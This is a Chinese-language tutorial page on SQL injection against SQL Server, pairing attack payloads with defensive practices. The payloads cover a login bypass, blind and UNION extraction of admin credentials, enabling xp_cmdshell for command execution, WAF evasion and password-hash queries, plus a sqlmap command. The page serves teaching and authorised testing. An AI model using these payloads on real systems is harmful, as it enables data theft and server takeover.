首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入攻擊完整手冊:從原理、偵測到防禦與滲透測試實戰語法

     編輯:關於SqlServer

警告:本文內容僅供資安人員、開發者理解攻擊原理以建構防禦,嚴禁用於未授權系統測試。所有範例均在隔離測試環境驗證。

核心原理

應用程式將使用者輸入直接拼接到 SQL 字串中執行,導致輸入資料被解析為 SQL 指令的一部分,改變原本查詢邏輯。

-- 易受攻擊程式碼
sql = "SELECT * FROM Users WHERE Username = '" & txtUser & "' AND Password = '" & txtPwd & "'"
-- 攻擊輸入:txtUser = ' OR '1'='1' --
-- 實際執行:SELECT * FROM Users WHERE Username = '' OR '1'='1' --' AND Password = '...'

經典注入步驟與通用 Payload (SQL Server)

階段目標典型 Payload
1. 判斷注入點確認參數可控制邏輯' AND 1=1 -- (正常) vs ' AND 1=2 -- (異常)
2. 猜解資料表取得表名' AND 0<>(SELECT COUNT(*) FROM sysobjects WHERE xtype='U') --
3. 猜解欄位取得欄位名' AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(username)>0) --
4. 猜解長度逐字元長度' AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(username)>5) --
5. 逐字元推導取得資料內容' AND 1=(SELECT COUNT(*) FROM admin WHERE LEFT(username,1)='a') --
6. UNION 注入直接顯示資料' UNION SELECT NULL, username, password FROM admin -- (欄位數需匹配)
7. 盲注無回顯環境' AND (SELECT SUBSTRING(@@VERSION,1,1))='M' -- (布林/時間盲注)
8. 擴權/命令執行xp_cmdshell、加帳號'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --

高階技巧

  • 繞過 WAF/IDS:大小寫混淆、註解替換、編碼、變數拆分 DECLARE @s VARCHAR(100) SET @s='SEL'+'ECT' EXEC(@s)。
  • 錯誤回顯注入:利用 CAST((SELECT @@VERSION) AS INT) 強制轉型錯誤洩露版本。
  • 時間盲注:'; WAITFOR DELAY '0:0:5' -- 觀察回應延遲判斷真偽。
  • 第二次序注入:先將惡意 Payload 存入資料庫,後續功能讀取時觸發。

資訊搜集關鍵查詢

-- 版本與權限
SELECT @@VERSION;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT SYSTEM_USER, USER_NAME();

-- 所有資料庫
SELECT name FROM master.dbo.sysdatabases WHERE dbid > 6;

-- 當前資料庫所有使用者表
SELECT name FROM sysobjects WHERE xtype='U';

-- 表欄位
SELECT name FROM syscolumns WHERE id=OBJECT_ID('admin');

-- 雜湊密碼 (SQL 2000/2005)
SELECT name, password FROM master.dbo.sysxlogins;  -- 需 sysadmin

防禦最佳實務 (開發端)

  1. 參數化查詢 / 預存程序:唯一根治方案。永遠使用 Command.Parameters / sp_executesql 參數化,絕不拼接字串。
  2. 最小權限帳號:Web 應用帳號僅授 db_datareader/db_datawriter 或僅 EXECUTE 特定預存程序,禁止 sysadmin/db_owner。
  3. 輸入驗證與白名單:嚴格驗證型別、長度、格式、允許字元集。
  4. 錯誤訊息不回顯:生產環境關閉詳細錯誤頁面,統一記錄至日誌。
  5. WAF/資料庫防火牆:部署 ModSecurity、SQL Server Audit、第三方資料庫防火牆。
  6. 定期滲透測試:使用 SQLMap、Havij、手工測試驗證防禦有效性。
  7. 保持修補:及時套用 SQL Server 累積更新與 OS 修補。

防禦最佳實務 (資料庫端)

  • 停用/移除 xp_cmdshell、sp_OA*、xp_reg* 等高風險擴充預存程序。
  • 啟用 透明資料加密 (TDE)、永久加密 保護靜態資料。
  • 設定 資料庫稽核 記錄失敗登入、結構變更、敏感資料存取。
  • 使用 動態資料遮罩 限制非特權使用者查看敏感欄位。

滲透測試授權流程

  1. 取得書面授權範圍、時間、IP、規則。
  2. 隔離測試環境或生產環境維護窗口。
  3. 使用 SQLMap 自動化掃描:sqlmap -u "https://target/page?id=1" --batch --dbs。
  4. 手工驗證高風險發現,嘗試最小化影響取證。
  5. 產出報告:風險等級、重現步驟、修補建議、驗證結果。
SQL 注入已知超過 20 年,仍位居 OWASP Top 10 首位。根治之道只有一個:參數化查詢。其他皆為縱深防禦輔助層。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved